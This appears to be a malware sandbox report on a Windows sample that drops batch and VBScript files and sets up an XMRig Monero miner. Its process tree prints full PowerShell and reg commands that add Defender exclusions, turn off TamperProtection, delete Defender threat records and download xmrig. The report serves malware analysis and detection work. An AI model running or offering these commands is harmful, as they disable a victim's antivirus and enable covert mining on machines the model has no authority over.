Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/08/2026, 16:20

General

  • Target
    2026-08-09_94f5cf5d133cc0b98ea8c98645da40a6_conti.exe
  • Size 700KB
  • Sample260809-ttdllabd24
  • SHA256 cc1119911ab6ec800fa443a703e7fc2db2ced1842153c20240081771e3b50cea
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender TamperProtection settings 3 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 1 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 28 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-09_94f5cf5d133cc0b98ea8c98645da40a6_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-09_94f5cf5d133cc0b98ea8c98645da40a6_conti.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2828
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Anti Malware2\setup2.bat""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2940
      • C:\Windows\system32\fsutil.exe
        fsutil dirty query C:
        3⤵
          PID:4480
        • C:\Windows\system32\wscript.exe
          wscript.exe "C:\Users\Admin\AppData\Local\Temp\xmr_launcher.vbs"
          3⤵
          • Checks computer location settings
          • Executes a VBScript file via the Windows Script Host.
          • Suspicious use of WriteProcessMemory
          PID:4180
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\Anti Malware2\setup2.bat" hidden
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4744
            • C:\Windows\system32\fsutil.exe
              fsutil dirty query C:
              5⤵
                PID:3252
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoProfile -Command "$ErrorActionPreference='Stop'; try { Add-MpPreference -ExclusionProcess '3.vlt' -ErrorAction Stop; Add-MpPreference -ExclusionProcess 'xmrig.exe' -ErrorAction Stop; Add-MpPreference -ExclusionPath (Join-Path $env:TEMP 'HDdje*') -ErrorAction Stop; $p=Get-MpPreference; if(($p.ExclusionProcess -contains '3.vlt') -and ($p.ExclusionPath -match 'HDdje')){exit 0}else{exit 3} } catch { exit 2 }"
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:672
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoProfile -Command "$ErrorActionPreference='SilentlyContinue'; try { $k=[Microsoft.Win32.Registry]::LocalMachine.OpenSubKey('SOFTWARE\Microsoft\Windows Defender\Features',[Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,[System.Security.AccessControl.RegistryRights]::ChangePermissions); if($k){ $acl=$k.GetAccessControl(); $rule=New-Object System.Security.AccessControl.RegistryAccessRule([System.Security.Principal.WindowsIdentity]::GetCurrent().User,'FullControl','ContainerInherit','None','Allow'); $acl.SetAccessRule($rule); $k.SetAccessControl($acl); $k.Close() }; New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows Defender\Features' -Name TamperProtection -Value 0 -PropertyType DWord -Force } catch {}"
                5⤵
                • Modifies Windows Defender TamperProtection settings
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4216
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
                5⤵
                • Modifies Windows Defender TamperProtection settings
                PID:1632
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoProfile -Command "$ErrorActionPreference='Stop'; try { Add-MpPreference -ExclusionProcess '3.vlt' -ErrorAction Stop; Add-MpPreference -ExclusionProcess 'xmrig.exe' -ErrorAction Stop; Add-MpPreference -ExclusionPath (Join-Path $env:TEMP 'HDdje*') -ErrorAction Stop; $p=Get-MpPreference; if(($p.ExclusionProcess -contains '3.vlt') -and ($p.ExclusionPath -match 'HDdje')){exit 0}else{exit 3} } catch { exit 2 }"
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3372
              • C:\Windows\system32\wscript.exe
                wscript.exe "C:\Users\Admin\AppData\Local\Temp\xmr_excl_warn.vbs"
                5⤵
                • Executes a VBScript file via the Windows Script Host.
                PID:2180
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoProfile -Command "$ErrorActionPreference='SilentlyContinue'; $threats=Get-MpThreatDetection -ErrorAction SilentlyContinue; foreach($d in $threats){ $r=($d.Resources -join ' '); if($r -match 'HDdje|3\.vlt|xmrig'){ Remove-MpThreat -ThreatID $d.ThreatID -ErrorAction SilentlyContinue } }"
                5⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2300
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoProfile -Command "Get-CimInstance Win32_Process | Where-Object {$_.CommandLine -match 'xmr_(watchdog|heartbeat)\.ps1'} | ForEach-Object {Stop-Process $_.ProcessId -Force}"
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4492
              • C:\Windows\system32\taskkill.exe
                taskkill /f /im 3.vlt
                5⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1892
              • C:\Windows\system32\PING.EXE
                ping -n 3 127.0.0.1
                5⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:4680
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c dir /s /b "C:\Users\Admin\AppData\Local\Temp\3.vlt" 2>nul
                5⤵
                • Executes a command shell one-liner
                PID:808
              • C:\Windows\system32\tasklist.exe
                tasklist /fi "imagename eq xmrig.exe"
                5⤵
                • Discovers running processes
                • Suspicious use of AdjustPrivilegeToken
                PID:4828
              • C:\Windows\system32\find.exe
                find /i "xmrig.exe"
                5⤵
                  PID:5072
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c dir /s /b "C:\Users\Admin\Desktop\xmrig.exe" 2>nul
                  5⤵
                  • Executes a command shell one-liner
                  PID:536
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c dir /s /b "C:\Users\Admin\Monero-Miner\xmrig.exe" 2>nul
                  5⤵
                  • Executes a command shell one-liner
                  PID:2552
                • C:\Windows\system32\curl.exe
                  curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\xmrig-6.26.0-windows-x64.zip" "https://github.com/xmrig/xmrig/releases/download/v6.26.0/xmrig-6.26.0-windows-x64.zip"
                  5⤵
                    PID:1468
                  • C:\Windows\system32\PING.EXE
                    ping -n 6 127.0.0.1
                    5⤵
                    • System Network Configuration Discovery: Internet Connection Discovery
                    • Runs ping.exe
                    PID:4168

          Network

                MITRE ATT&CK Enterprise v16

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 a05e6e5d4994e1f2a9f2494c78938b7e047b7f3e295831bcf8d727dcab090186
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 f7bc65b2962543bb5165f2b1bb6b3390ed3b55801475b2fd7701129cc8a081fd
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 44d41ba84ea23885698016185c472cb1f1650c2bfb98fee085fb6dd033d0f517
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 64B
                • SHA256 5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686
                • MD5 SHA1 SHA512

                setup2.bat

                • Path C:\Users\Admin\AppData\Local\Temp\Anti Malware2\setup2.bat
                • Size 22KB
                • SHA256 fc9bfd2fdbfe8a8a50b7478dd7f883ff2b4d2c0d27706f34460b8dd11af25bf1
                • MD5 SHA1 SHA512 SSDEEP TLSH

                __PSScriptPolicyTest_odqwx2m3.ivz.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_odqwx2m3.ivz.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                xmr_excl_warn.vbs

                • Path C:\Users\Admin\AppData\Local\Temp\xmr_excl_warn.vbs
                • Size 328B
                • SHA256 93e6c4ce697f463bf5ace74cfe5aac670b76c6da5374d06eca100d74da02a3fc
                • MD5 SHA1 SHA512 TLSH

                xmr_launcher.vbs

                • Path C:\Users\Admin\AppData\Local\Temp\xmr_launcher.vbs
                • Size 141B
                • SHA256 4ee94390a0e3af4fcf4415c7275b1a9c7589cfcc0cf9ef56d275cd5a092c03a0
                • MD5 SHA1 SHA512 TLSH

                memory/672-15-0x000001E27C7C0000-0x000001E27C7E2000-memory.dmp

                memory/2828-1-0x00007FF7B5820000-0x00007FF7B588F000-memory.dmp

                memory/3372-38-0x000001D4822C0000-0x000001D4824DC000-memory.dmp

                memory/4216-28-0x000001D762B50000-0x000001D762D6C000-memory.dmp

                memory/4492-59-0x000002183A530000-0x000002183A55A000-memory.dmp

                memory/4492-60-0x000002183A530000-0x000002183A554000-memory.dmp

                memory/4492-62-0x000002183A1E0000-0x000002183A3FC000-memory.dmp